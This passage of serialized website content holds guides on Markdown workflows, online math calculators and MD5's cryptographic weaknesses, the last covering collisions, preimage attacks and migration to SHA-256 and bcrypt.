true\n",[1560,150512,150513],{"class":1562,"line":343},[1560,150514,150505],{},[1560,150516,150517],{"class":1562,"line":365},[1560,150518,1702],{"emptyLinePlaceholder":363},[1560,150520,150521],{"class":1562,"line":889},[1560,150522,150523],{},"# Project Overview\n",[1560,150525,150526],{"class":1562,"line":1710},[1560,150527,1702],{"emptyLinePlaceholder":363},[1560,150529,150530],{"class":1562,"line":1717},[1560,150531,150532],{},"Key metrics and goals\n",[1560,150534,150535],{"class":1562,"line":1747},[1560,150536,1702],{"emptyLinePlaceholder":363},[1560,150538,150539],{"class":1562,"line":2507},[1560,150540,150505],{},[1560,150542,150543],{"class":1562,"line":2524},[1560,150544,1702],{"emptyLinePlaceholder":363},[1560,150546,150547],{"class":1562,"line":2529},[1560,150548,150549],{},"## Q4 Results\n",[1560,150551,150552],{"class":1562,"line":2534},[1560,150553,1702],{"emptyLinePlaceholder":363},[1560,150555,150556],{"class":1562,"line":2542},[1560,150557,150558],{},"- Revenue: $2.4M\n",[1560,150560,150561],{"class":1562,"line":2558},[1560,150562,150563],{},"- Growth: 18% YoY\n",[16,150565,150566],{},"Write once, present anywhere. Changes to content update the slides instantly — no more copy-pasting between tools.",[11,150568,150570],{"id":150569},"team-collaboration-best-practices","Team Collaboration Best Practices",[16,150572,150573],{},"When multiple people write Markdown together, consistency becomes critical.",[33,150575,150577],{"id":150576},"establish-a-style-guide","Establish a Style Guide",[16,150579,150580],{},"Define rules for:",[41,150582,150583,150589,150600,150606,150612],{},[44,150584,150585,150588],{},[47,150586,150587],{},"Heading hierarchy"," — only one H1, no skipped levels",[44,150590,150591,150594,150595,1531,150597,150599],{},[47,150592,150593],{},"List style"," — choose ",[143,150596,9412],{},[143,150598,8069],{}," and stick with it",[44,150601,150602,150605],{},[47,150603,150604],{},"Code block hints"," — always specify the language",[44,150607,150608,150611],{},[47,150609,150610],{},"Link style"," — inline vs. reference",[44,150613,150614,150616,150617,88000,150620,1525],{},[47,150615,132796],{}," — kebab-case (",[143,150618,150619],{},"api-guide.md",[143,150621,150622],{},"API Guide.md",[16,150624,150625,150626,150629],{},"Document these rules in a ",[143,150627,150628],{},"CONTRIBUTING.md"," file at the root of your repository.",[33,150631,150633],{"id":150632},"use-templates","Use Templates",[16,150635,150636],{},"Create Markdown templates for recurring document types:",[41,150638,150639,150645,150651],{},[44,150640,150641,150644],{},[47,150642,150643],{},"RFC template"," — context, proposal, trade-offs, decision",[44,150646,150647,150650],{},[47,150648,150649],{},"README template"," — description, installation, usage, license",[44,150652,150653,150656],{},[47,150654,150655],{},"Runbook template"," — symptoms, diagnosis, resolution, escalation",[16,150658,150659],{},"Templates reduce decision fatigue and keep documents consistent across authors.",[33,150661,150663],{"id":150662},"automate-formatting","Automate Formatting",[16,150665,150666],{},"Let tools handle style so humans focus on content:",[41,150668,150669,150674,150679],{},[44,150670,150671,150673],{},[47,150672,28519],{}," formats Markdown on save or commit",[44,150675,150676,150678],{},[47,150677,147179],{}," flags violations before merge",[44,150680,150681,150684],{},[47,150682,150683],{},"CI checks"," enforce rules consistently across the team",[16,150686,150687],{},"The goal: reviewers discuss substance, not syntax.",[11,150689,150691],{"id":150690},"workflow-summary","Workflow Summary",[135,150693,150696],{"className":150694,"code":150695,"language":140},[138],"Write Markdown → Preview in real time → Commit to Git → CI lints & checks → Merge → Auto-export (HTML\u002FPDF\u002FDOCX) → Publish\n",[143,150697,150695],{"__ignoreMap":141},[16,150699,150700],{},"Each step automates what it can. Humans focus on writing. Machines handle formatting, validation, and distribution.",[11,150702,1355],{"id":1354},[41,150704,150705,150708,150711,150714,150717,150720],{},[44,150706,150707],{},"A solid Markdown workflow has three stages: edit, preview, export — automate each one",[44,150709,150710],{},"Git and Markdown are a natural pair; short paragraphs and reference links reduce merge conflicts",[44,150712,150713],{},"CI pipelines should lint Markdown, check links, and spell-check on every pull request",[44,150715,150716],{},"Export through HTML for flexibility; use Pandoc for PDF and DOCX; use Marp for slides",[44,150718,150719],{},"Team consistency comes from style guides, templates, and automated formatting — not policing",[44,150721,150722],{},"The fewer manual steps in your pipeline, the more time you spend on actual content",[11,150724,321],{"id":320},[41,150726,150727,150731,150735],{},[44,150728,150729],{},[98,150730,110345],{"href":110344},[44,150732,150733],{},[98,150734,147016],{"href":110399},[44,150736,150737],{},[98,150738,110357],{"href":110356},[11,150740,286],{"id":285},[16,150742,150743,150744,150746],{},"See the edit-preview pipeline in action. Open our free ",[98,150745,110366],{"href":110365}," tool — write your Markdown on the left, watch the rendered output on the right, and iterate until your content is publication-ready.",[2043,150748,150749],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":150751},[150752,150753,150758,150762,150767,150773,150778,150779,150780,150781],{"id":150058,"depth":337,"text":150059},{"id":150068,"depth":337,"text":150069,"children":150754},[150755,150756,150757],{"id":150075,"depth":343,"text":150076},{"id":150152,"depth":343,"text":147193},{"id":9187,"depth":343,"text":150163},{"id":150200,"depth":337,"text":150201,"children":150759},[150760,150761],{"id":150207,"depth":343,"text":150208},{"id":150246,"depth":343,"text":150247},{"id":150267,"depth":337,"text":150268,"children":150763},[150764,150765,150766],{"id":150274,"depth":343,"text":150275},{"id":150319,"depth":343,"text":150320},{"id":150358,"depth":343,"text":150359},{"id":150399,"depth":337,"text":150400,"children":150768},[150769,150770,150771,150772],{"id":6419,"depth":343,"text":124621},{"id":150431,"depth":343,"text":146923},{"id":150466,"depth":343,"text":146938},{"id":150492,"depth":343,"text":146944},{"id":150569,"depth":337,"text":150570,"children":150774},[150775,150776,150777],{"id":150576,"depth":343,"text":150577},{"id":150632,"depth":343,"text":150633},{"id":150662,"depth":343,"text":150663},{"id":150690,"depth":337,"text":150691},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Build an efficient Markdown writing workflow. Learn toolchains, version control, CI\u002FCD integration, export formats, and team collaboration tips.",{"immutable":363},{"title":150053,"description":150782},"guides\u002Fmarkdown-writing-workflow","65PiBKX5HRtkaOOibpPkJV4jCPWzTTLB5XvP705Q60g",{"id":150788,"title":150789,"body":150790,"date":2070,"description":151233,"extension":361,"meta":151234,"navigation":363,"path":151235,"readingTime":889,"seo":151236,"stem":151237,"__hash__":151238},"guides\u002Fguides\u002Fmath-calculators-online.md","Math Calculators Online - Essential Calculation Tools",{"type":8,"value":150791,"toc":151212},[150792,150796,150799,150802,150806,150809,150812,150823,150826,150831,150838,150840,150843,150849,150852,150888,150891,150896,150898,150901,150904,150909,150912,150915,150918,150976,150981,150988,150991,150994,150999,151003,151087,151090,151094,151097,151117,151121,151125,151128,151132,151135,151139,151142,151146,151149,151151,151168,151170,151173,151187,151189],[11,150793,150795],{"id":150794},"why-online-math-calculators-matter","Why Online Math Calculators Matter",[16,150797,150798],{},"Online math calculators give you instant, accurate results without installing software or pulling out a physical device. They live in your browser, work on any device, and handle specialized calculations that basic calculators cannot.",[16,150800,150801],{},"From figuring out a tip to checking your BMI, the right online math tool saves time and eliminates manual errors.",[11,150803,150805],{"id":150804},"essential-math-calculators","Essential Math Calculators",[33,150807,21908],{"id":150808},"percentage-calculator",[16,150810,150811],{},"A percentage calculator solves three common problems:",[41,150813,150814,150817,150820],{},[44,150815,150816],{},"What is X% of Y?",[44,150818,150819],{},"X is what percent of Y?",[44,150821,150822],{},"What is the percentage change from X to Y?",[16,150824,150825],{},"Use it for discounts, taxes, tips, raises, test scores, and growth rates. It is the most versatile everyday math calculator.",[16,150827,150828,150830],{},[47,150829,84034],{}," Any scenario where you need to find, compare, or measure a percentage — which is far more often than most people realize.",[16,150832,150833],{},[98,150834,150837],{"href":150835,"rel":150836},"https:\u002F\u002Ftoolboxes.site\u002Ftools\u002Fpercentage-calculator",[14956],"Try the Percentage Calculator →",[33,150839,15034],{"id":113120},[16,150841,150842],{},"A BMI (Body Mass Index) calculator estimates whether your weight falls within a healthy range based on your height and weight.",[16,150844,150845,150846],{},"The formula: ",[143,150847,150848],{},"BMI = weight (kg) \u002F height (m)²",[16,150850,150851],{},"BMI categories:",[193,150853,150854,150862],{},[196,150855,150856],{},[199,150857,150858,150860],{},[202,150859,919],{},[202,150861,15159],{},[211,150863,150864,150870,150876,150882],{},[199,150865,150866,150868],{},[216,150867,15169],{},[216,150869,15172],{},[199,150871,150872,150874],{},[216,150873,15887],{},[216,150875,15182],{},[199,150877,150878,150880],{},[216,150879,15190],{},[216,150881,15193],{},[199,150883,150884,150886],{},[216,150885,15201],{},[216,150887,15204],{},[16,150889,150890],{},"Note that BMI does not account for muscle mass, bone density, or body composition. Athletes often classify as \"overweight\" despite having low body fat. Use BMI as one data point, not a complete health assessment.",[16,150892,150893,150895],{},[47,150894,84034],{}," Quick health screenings, fitness tracking, or insurance assessments.",[33,150897,101],{"id":418},[16,150899,150900],{},"An age calculator computes your exact age in years, months, and days from your date of birth. Some versions also show age in total weeks, hours, or even minutes.",[16,150902,150903],{},"It accounts for leap years and varying month lengths — details that make manual calculation tedious and error-prone.",[16,150905,150906,150908],{},[47,150907,84034],{}," Verifying age requirements, filling out forms that ask for exact age, or simply satisfying curiosity.",[33,150910,664],{"id":150911},"unit-converter",[16,150913,150914],{},"A unit converter translates between measurement systems — metric to imperial, Celsius to Fahrenheit, kilograms to pounds, and hundreds more.",[16,150916,150917],{},"Common conversions:",[193,150919,150920,150930],{},[196,150921,150922],{},[199,150923,150924,150926,150928],{},[202,150925,679],{},[202,150927,682],{},[202,150929,685],{},[211,150931,150932,150943,150954,150965],{},[199,150933,150934,150937,150940],{},[216,150935,150936],{},"Miles",[216,150938,150939],{},"Kilometers",[216,150941,150942],{},"1.609",[199,150944,150945,150948,150951],{},[216,150946,150947],{},"Pounds",[216,150949,150950],{},"Kilograms",[216,150952,150953],{},"0.454",[199,150955,150956,150959,150962],{},[216,150957,150958],{},"Fahrenheit",[216,150960,150961],{},"Celsius",[216,150963,150964],{},"(F - 32) × 5\u002F9",[199,150966,150967,150970,150973],{},[216,150968,150969],{},"Gallons (US)",[216,150971,150972],{},"Liters",[216,150974,150975],{},"3.785",[16,150977,150978,150980],{},[47,150979,84034],{}," Travel, cooking with international recipes, engineering projects, or any task involving mixed measurement systems.",[16,150982,150983],{},[98,150984,150987],{"href":150985,"rel":150986},"https:\u002F\u002Ftoolboxes.site\u002Ftools\u002Funit-converter",[14956],"Try the Unit Converter →",[33,150989,623],{"id":150990},"timestamp-converter",[16,150992,150993],{},"A timestamp converter translates between Unix timestamps (seconds since January 1, 1970) and human-readable date formats. Developers use it constantly when debugging logs, scheduling tasks, or working with APIs.",[16,150995,150996,150998],{},[47,150997,84034],{}," Software development, database queries, log analysis, or any context where machines store dates as numbers.",[11,151000,151002],{"id":151001},"online-vs-handheld-calculators","Online vs. Handheld Calculators",[193,151004,151005,151017],{},[196,151006,151007],{},[199,151008,151009,151011,151014],{},[202,151010,5867],{},[202,151012,151013],{},"Online Calculator",[202,151015,151016],{},"Handheld Calculator",[211,151018,151019,151028,151039,151050,151060,151069,151078],{},[199,151020,151021,151023,151025],{},[216,151022,16397],{},[216,151024,16450],{},[216,151026,151027],{},"$10 – $150+",[199,151029,151030,151033,151036],{},[216,151031,151032],{},"Specialization",[216,151034,151035],{},"Purpose-built per task",[216,151037,151038],{},"General-purpose",[199,151040,151041,151044,151047],{},[216,151042,151043],{},"Explanations",[216,151045,151046],{},"Shows formulas and steps",[216,151048,151049],{},"Shows only the answer",[199,151051,151052,151054,151057],{},[216,151053,837],{},[216,151055,151056],{},"Any device with a browser",[216,151058,151059],{},"Must carry the device",[199,151061,151062,151065,151067],{},[216,151063,151064],{},"Copy\u002Fpaste results",[216,151066,3057],{},[216,151068,6117],{},[199,151070,151071,151073,151075],{},[216,151072,85972],{},[216,151074,85975],{},[216,151076,151077],{},"Firmware-dependent",[199,151079,151080,151082,151085],{},[216,151081,85992],{},[216,151083,151084],{},"No (usually)",[216,151086,3057],{},[16,151088,151089],{},"Online calculators win when you need domain-specific calculations with context. Handheld calculators win when you need offline access or rapid data entry with a physical keypad.",[11,151091,151093],{"id":151092},"how-to-choose-the-right-calculator","How to Choose the Right Calculator",[16,151095,151096],{},"Ask yourself three questions:",[77,151098,151099,151105,151111],{},[44,151100,151101,151104],{},[47,151102,151103],{},"What am I calculating?"," Match the tool to the problem. A percentage calculator is faster and more transparent than a generic calculator for percentage problems.",[44,151106,151107,151110],{},[47,151108,151109],{},"Do I need an explanation?"," If you are learning or validating a result, choose a tool that shows the formula and steps — not just the final number.",[44,151112,151113,151116],{},[47,151114,151115],{},"Is accuracy critical?"," For financial, medical, or legal calculations, use a dedicated tool rather than mental math or a general-purpose calculator. A single decimal-point error can have real consequences.",[11,151118,151120],{"id":151119},"pitfalls-to-watch-for","Pitfalls to Watch For",[33,151122,151124],{"id":151123},"rounding-errors","Rounding Errors",[16,151126,151127],{},"Online calculators often display rounded results while using full-precision values internally. If you copy the displayed result and use it in another calculation, rounding errors can compound. When precision matters, use the raw output or a tool that shows full precision.",[33,151129,151131],{"id":151130},"unit-mismatches","Unit Mismatches",[16,151133,151134],{},"Always verify units before and after conversion. Converting kilograms to pounds when the input was already in pounds is a surprisingly common mistake. Good tools label every input and output clearly.",[33,151136,151138],{"id":151137},"outdated-formulas","Outdated Formulas",[16,151140,151141],{},"Tax rates, BMI thresholds, and currency exchange rates change. Ensure your calculator uses current values or lets you specify them manually.",[33,151143,151145],{"id":151144},"trusting-without-verifying","Trusting Without Verifying",[16,151147,151148],{},"Even reliable calculators can have bugs. For high-stakes calculations, verify the result with a second method — another tool, a manual check, or a back-of-the-envelope estimate.",[11,151150,1355],{"id":1354},[41,151152,151153,151156,151159,151162,151165],{},[44,151154,151155],{},"Online math calculators are free, specialized, and accessible from any device",[44,151157,151158],{},"Choose a purpose-built calculator over a general one for faster, more transparent results",[44,151160,151161],{},"Percentage, BMI, age, unit, and timestamp calculators cover the most common everyday math needs",[44,151163,151164],{},"Always verify units and precision when accuracy matters",[44,151166,151167],{},"Cross-check important results rather than trusting a single source",[11,151169,286],{"id":285},[16,151171,151172],{},"Start with the tools you need most:",[41,151174,151175,151181],{},[44,151176,151177,151180],{},[98,151178,21908],{"href":150835,"rel":151179},[14956]," — discounts, tips, taxes, and growth rates",[44,151182,151183,151186],{},[98,151184,664],{"href":150985,"rel":151185},[14956]," — metric, imperial, temperature, and more",[11,151188,321],{"id":320},[41,151190,151191,151198,151205],{},[44,151192,151193,151197],{},[98,151194,151196],{"href":151195},"\u002Fguides\u002Fpercentage-calculator-guide","Percentage Calculator Guide"," — how to use each mode of the percentage calculator",[44,151199,151200,151204],{},[98,151201,151203],{"href":151202},"\u002Fguides\u002Fpercentage-formulas-explained","Percentage Formulas Explained"," — the math behind every percentage calculation",[44,151206,151207,151211],{},[98,151208,151210],{"href":151209},"\u002Fguides\u002Fmetric-vs-imperial","Metric vs Imperial"," — understanding the two major measurement systems",{"title":141,"searchDepth":337,"depth":337,"links":151213},[151214,151215,151222,151223,151224,151230,151231,151232],{"id":150794,"depth":337,"text":150795},{"id":150804,"depth":337,"text":150805,"children":151216},[151217,151218,151219,151220,151221],{"id":150808,"depth":343,"text":21908},{"id":113120,"depth":343,"text":15034},{"id":418,"depth":343,"text":101},{"id":150911,"depth":343,"text":664},{"id":150990,"depth":343,"text":623},{"id":151001,"depth":337,"text":151002},{"id":151092,"depth":337,"text":151093},{"id":151119,"depth":337,"text":151120,"children":151225},[151226,151227,151228,151229],{"id":151123,"depth":343,"text":151124},{"id":151130,"depth":343,"text":151131},{"id":151137,"depth":343,"text":151138},{"id":151144,"depth":343,"text":151145},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Discover the best online math calculators. From percentage calculators to BMI and age calculators, find the right math tool for your needs.",{"immutable":363},"\u002Fguides\u002Fmath-calculators-online",{"title":150789,"description":151233},"guides\u002Fmath-calculators-online","Q6uDfUfdB8Ofc1RXFUKu366xAB3OWvY1ypVn_-cIacY",{"id":151240,"title":151241,"body":151242,"date":2070,"description":151835,"extension":361,"meta":151836,"navigation":363,"path":151837,"readingTime":1710,"seo":151838,"stem":151839,"__hash__":151840},"guides\u002Fguides\u002Fmd5-security-vulnerabilities.md","MD5 Security Vulnerabilities Explained in Depth",{"type":8,"value":151243,"toc":151814},[151244,151248,151251,151254,151258,151262,151265,151269,151272,151278,151281,151285,151288,151356,151360,151363,151367,151370,151374,151377,151381,151384,151460,151464,151545,151548,151552,151556,151559,151674,151678,151681,151714,151718,151721,151776,151778,151798,151800,151806,151811],[11,151245,151247],{"id":151246},"md5-from-standard-to-security-liability","MD5: From Standard to Security Liability",[16,151249,151250],{},"MD5 (Message-Digest Algorithm 5) produces a 128-bit hash value, typically displayed as a 32-character hexadecimal string. Designed by Ronald Rivest in 1991 as a successor to MD4, it became the default hash function for checksums, password storage, and digital signatures.",[16,151252,151253],{},"Today, MD5 is cryptographically broken. Multiple practical attacks can find collisions — two different inputs producing the same hash — in seconds. Understanding these vulnerabilities helps you choose the right algorithm for each situation.",[11,151255,151257],{"id":151256},"collision-attacks","Collision Attacks",[33,151259,151261],{"id":151260},"what-is-a-collision","What Is a Collision?",[16,151263,151264],{},"A collision occurs when two distinct inputs produce the same hash output. For a secure 128-bit hash, finding a collision by brute force should require approximately 2^64 operations. MD5 collisions can be found in under a second on a modern laptop.",[33,151266,151268],{"id":151267},"how-collision-attacks-work","How Collision Attacks Work",[16,151270,151271],{},"MD5 processes input in 512-bit blocks using a Merkle-Damgard construction. Each block's output feeds into the next block's computation. Collision attacks exploit weaknesses in the compression function to find two messages that diverge at a particular block but produce identical intermediate state values:",[135,151273,151276],{"className":151274,"code":151275,"language":140},[138],"Message A: [Block 1] [Block 2a] [Block 3]\nMessage B: [Block 1] [Block 2b] [Block 3]\n\nWhere Block 2a ≠ Block 2b, but MD5(Block 1 + Block 2a) = MD5(Block 1 + Block 2b)\n",[143,151277,151275],{"__ignoreMap":141},[16,151279,151280],{},"Once the intermediate states match, appending identical suffix blocks preserves the collision.",[33,151282,151284],{"id":151283},"practical-impact","Practical Impact",[16,151286,151287],{},"In 2008, researchers created a rogue CA certificate using an MD5 collision. They generated two certificate signing requests with different identities but the same MD5 hash. The legitimate certificate was signed by a trusted CA, and the attacker's certificate — with the same hash — inherited that trust.",[135,151289,151291],{"className":6951,"code":151290,"language":6953,"meta":141,"style":141},"# Demonstrating a collision (using a collision generator tool)\n# Two different files with the same MD5 hash\n$ md5sum message-a.bin message-b.bin\n79054025255fb1a26e4bc422aef54eb4  message-a.bin\n79054025255fb1a26e4bc422aef54eb4  message-b.bin\n\n$ diff message-a.bin message-b.bin\nBinary files differ\n",[143,151292,151293,151298,151303,151316,151324,151331,151335,151346],{"__ignoreMap":141},[1560,151294,151295],{"class":1562,"line":1563},[1560,151296,151297],{"class":1649},"# Demonstrating a collision (using a collision generator tool)\n",[1560,151299,151300],{"class":1562,"line":337},[1560,151301,151302],{"class":1649},"# Two different files with the same MD5 hash\n",[1560,151304,151305,151307,151310,151313],{"class":1562,"line":343},[1560,151306,11938],{"class":1566},[1560,151308,151309],{"class":5634}," md5sum",[1560,151311,151312],{"class":5634}," message-a.bin",[1560,151314,151315],{"class":5634}," message-b.bin\n",[1560,151317,151318,151321],{"class":1562,"line":365},[1560,151319,151320],{"class":1566},"79054025255fb1a26e4bc422aef54eb4",[1560,151322,151323],{"class":5634},"  message-a.bin\n",[1560,151325,151326,151328],{"class":1562,"line":889},[1560,151327,151320],{"class":1566},[1560,151329,151330],{"class":5634},"  message-b.bin\n",[1560,151332,151333],{"class":1562,"line":1710},[1560,151334,1702],{"emptyLinePlaceholder":363},[1560,151336,151337,151339,151342,151344],{"class":1562,"line":1717},[1560,151338,11938],{"class":1566},[1560,151340,151341],{"class":5634}," diff",[1560,151343,151312],{"class":5634},[1560,151345,151315],{"class":5634},[1560,151347,151348,151350,151353],{"class":1562,"line":1747},[1560,151349,115685],{"class":1566},[1560,151351,151352],{"class":5634}," files",[1560,151354,151355],{"class":5634}," differ\n",[11,151357,151359],{"id":151358},"preimage-attacks","Preimage Attacks",[16,151361,151362],{},"A preimage attack finds an input that hashes to a specific target value. This is harder than finding a collision. For a secure 128-bit hash, preimage resistance should require 2^128 operations.",[33,151364,151366],{"id":151365},"current-status","Current Status",[16,151368,151369],{},"Theoretical preimage attacks against MD5 exist but remain impractical. The best published attack requires approximately 2^123.4 operations — faster than brute force but still computationally infeasible. However, this margin shrinks as analysis improves.",[33,151371,151373],{"id":151372},"second-preimage-attacks","Second Preimage Attacks",[16,151375,151376],{},"A second preimage attack finds a different input that produces the same hash as a given input. This differs from a collision attack because the target hash is fixed. Current attacks remain theoretical for full MD5, but reduced-round variants are vulnerable.",[11,151378,151380],{"id":151379},"when-md5-is-still-acceptable","When MD5 Is Still Acceptable",[16,151382,151383],{},"Not every use of MD5 is a security risk. The vulnerabilities matter only when an attacker can exploit collisions.",[193,151385,151386,151397],{},[196,151387,151388],{},[199,151389,151390,151392,151395],{},[202,151391,1775],{},[202,151393,151394],{},"Safe?",[202,151396,23393],{},[211,151398,151399,151409,151419,151429,151439,151449],{},[199,151400,151401,151404,151406],{},[216,151402,151403],{},"File integrity verification (accidental corruption)",[216,151405,3057],{},[216,151407,151408],{},"No adversary crafting collisions",[199,151410,151411,151414,151416],{},[216,151412,151413],{},"Non-security checksums (deduplication, caching)",[216,151415,3057],{},[216,151417,151418],{},"Collisions extremely rare in practice",[199,151420,151421,151424,151426],{},[216,151422,151423],{},"Password storage",[216,151425,6117],{},[216,151427,151428],{},"Rainbow tables and speed make it trivial",[199,151430,151431,151434,151436],{},[216,151432,151433],{},"Digital signatures",[216,151435,6117],{},[216,151437,151438],{},"Collision attacks forge signatures",[199,151440,151441,151444,151446],{},[216,151442,151443],{},"SSL\u002FTLS certificates",[216,151445,6117],{},[216,151447,151448],{},"Industry standards prohibit MD5",[199,151450,151451,151454,151457],{},[216,151452,151453],{},"Content-addressable storage",[216,151455,151456],{},"Risky",[216,151458,151459],{},"Dedicated attacker could create collisions",[11,151461,151463],{"id":151462},"md5-vs-sha-256-practical-comparison","MD5 vs SHA-256: Practical Comparison",[193,151465,151466,151478],{},[196,151467,151468],{},[199,151469,151470,151472,151475],{},[202,151471,14482],{},[202,151473,151474],{},"MD5",[202,151476,151477],{},"SHA-256",[211,151479,151480,151493,151506,151519,151532],{},[199,151481,151482,151487,151490],{},[216,151483,151484],{},[47,151485,151486],{},"Hash length",[216,151488,151489],{},"128 bits",[216,151491,151492],{},"256 bits",[199,151494,151495,151500,151503],{},[216,151496,151497],{},[47,151498,151499],{},"Collision resistance",[216,151501,151502],{},"Broken",[216,151504,151505],{},"No known attacks",[199,151507,151508,151513,151516],{},[216,151509,151510],{},[47,151511,151512],{},"Speed (Node.js)",[216,151514,151515],{},"~600 MB\u002Fs",[216,151517,151518],{},"~400 MB\u002Fs",[199,151520,151521,151526,151529],{},[216,151522,151523],{},[47,151524,151525],{},"Output size",[216,151527,151528],{},"32 hex chars",[216,151530,151531],{},"64 hex chars",[199,151533,151534,151539,151542],{},[216,151535,151536],{},[47,151537,151538],{},"NIST status",[216,151540,151541],{},"Deprecated",[216,151543,151544],{},"Approved",[16,151546,151547],{},"The speed difference is minor compared to the security gap. SHA-256 is the minimum recommended hash function for any security-sensitive application.",[11,151549,151551],{"id":151550},"migrating-away-from-md5","Migrating Away from MD5",[33,151553,151555],{"id":151554},"for-password-storage","For Password Storage",[16,151557,151558],{},"Migrate to Argon2id or bcrypt. These are purpose-built for passwords with built-in salting and adjustable work factors:",[135,151560,151562],{"className":1607,"code":151561,"language":1609,"meta":141,"style":141},"\u002F\u002F Instead of MD5\nconst crypto = require('crypto');\nconst hash = crypto.createHash('md5').update(password).digest('hex');\n\n\u002F\u002F Use bcrypt\nconst bcrypt = require('bcrypt');\nconst hash = await bcrypt.hash(password, 12); \u002F\u002F cost factor 12\n",[143,151563,151564,151569,151585,151621,151625,151630,151648],{"__ignoreMap":141},[1560,151565,151566],{"class":1562,"line":1563},[1560,151567,151568],{"class":1649},"\u002F\u002F Instead of MD5\n",[1560,151570,151571,151573,151575,151577,151579,151581,151583],{"class":1562,"line":337},[1560,151572,8180],{"class":1669},[1560,151574,41881],{"class":1576},[1560,151576,8186],{"class":1669},[1560,151578,20658],{"class":1566},[1560,151580,1688],{"class":1570},[1560,151582,41890],{"class":5634},[1560,151584,1744],{"class":1570},[1560,151586,151587,151589,151592,151594,151596,151599,151601,151604,151606,151609,151612,151615,151617,151619],{"class":1562,"line":343},[1560,151588,8180],{"class":1669},[1560,151590,151591],{"class":1576}," hash",[1560,151593,8186],{"class":1669},[1560,151595,41913],{"class":1570},[1560,151597,151598],{"class":1566},"createHash",[1560,151600,1688],{"class":1570},[1560,151602,151603],{"class":5634},"'md5'",[1560,151605,9368],{"class":1570},[1560,151607,151608],{"class":1566},"update",[1560,151610,151611],{"class":1570},"(password).",[1560,151613,151614],{"class":1566},"digest",[1560,151616,1688],{"class":1570},[1560,151618,41938],{"class":5634},[1560,151620,1744],{"class":1570},[1560,151622,151623],{"class":1562,"line":365},[1560,151624,1702],{"emptyLinePlaceholder":363},[1560,151626,151627],{"class":1562,"line":889},[1560,151628,151629],{"class":1649},"\u002F\u002F Use bcrypt\n",[1560,151631,151632,151634,151637,151639,151641,151643,151646],{"class":1562,"line":1710},[1560,151633,8180],{"class":1669},[1560,151635,151636],{"class":1576}," bcrypt",[1560,151638,8186],{"class":1669},[1560,151640,20658],{"class":1566},[1560,151642,1688],{"class":1570},[1560,151644,151645],{"class":5634},"'bcrypt'",[1560,151647,1744],{"class":1570},[1560,151649,151650,151652,151654,151656,151658,151661,151664,151667,151669,151671],{"class":1562,"line":1717},[1560,151651,8180],{"class":1669},[1560,151653,151591],{"class":1576},[1560,151655,8186],{"class":1669},[1560,151657,28065],{"class":1669},[1560,151659,151660],{"class":1570}," bcrypt.",[1560,151662,151663],{"class":1566},"hash",[1560,151665,151666],{"class":1570},"(password, ",[1560,151668,13566],{"class":1576},[1560,151670,5171],{"class":1570},[1560,151672,151673],{"class":1649},"\u002F\u002F cost factor 12\n",[33,151675,151677],{"id":151676},"for-file-checksums","For File Checksums",[16,151679,151680],{},"Replace MD5 with SHA-256 for any verification where tampering is a concern:",[135,151682,151684],{"className":6951,"code":151683,"language":6953,"meta":141,"style":141},"# Old\nmd5sum release.tar.gz\n\n# New\nsha256sum release.tar.gz\n",[143,151685,151686,151691,151699,151703,151708],{"__ignoreMap":141},[1560,151687,151688],{"class":1562,"line":1563},[1560,151689,151690],{"class":1649},"# Old\n",[1560,151692,151693,151696],{"class":1562,"line":337},[1560,151694,151695],{"class":1566},"md5sum",[1560,151697,151698],{"class":5634}," release.tar.gz\n",[1560,151700,151701],{"class":1562,"line":343},[1560,151702,1702],{"emptyLinePlaceholder":363},[1560,151704,151705],{"class":1562,"line":365},[1560,151706,151707],{"class":1649},"# New\n",[1560,151709,151710,151712],{"class":1562,"line":889},[1560,151711,103698],{"class":1566},[1560,151713,151698],{"class":5634},[33,151715,151717],{"id":151716},"for-legacy-systems","For Legacy Systems",[16,151719,151720],{},"If you cannot replace MD5 immediately, add a HMAC construction to strengthen it:",[135,151722,151724],{"className":1607,"code":151723,"language":1609,"meta":141,"style":141},"const hmac = crypto.createHmac('sha256', secretKey);\nhmac.update(data);\nconst result = hmac.digest('hex');\n",[143,151725,151726,151748,151757],{"__ignoreMap":141},[1560,151727,151728,151730,151733,151735,151737,151740,151742,151745],{"class":1562,"line":1563},[1560,151729,8180],{"class":1669},[1560,151731,151732],{"class":1576}," hmac",[1560,151734,8186],{"class":1669},[1560,151736,41913],{"class":1570},[1560,151738,151739],{"class":1566},"createHmac",[1560,151741,1688],{"class":1570},[1560,151743,151744],{"class":5634},"'sha256'",[1560,151746,151747],{"class":1570},", secretKey);\n",[1560,151749,151750,151753,151755],{"class":1562,"line":337},[1560,151751,151752],{"class":1570},"hmac.",[1560,151754,151608],{"class":1566},[1560,151756,136066],{"class":1570},[1560,151758,151759,151761,151763,151765,151768,151770,151772,151774],{"class":1562,"line":343},[1560,151760,8180],{"class":1669},[1560,151762,80830],{"class":1576},[1560,151764,8186],{"class":1669},[1560,151766,151767],{"class":1570}," 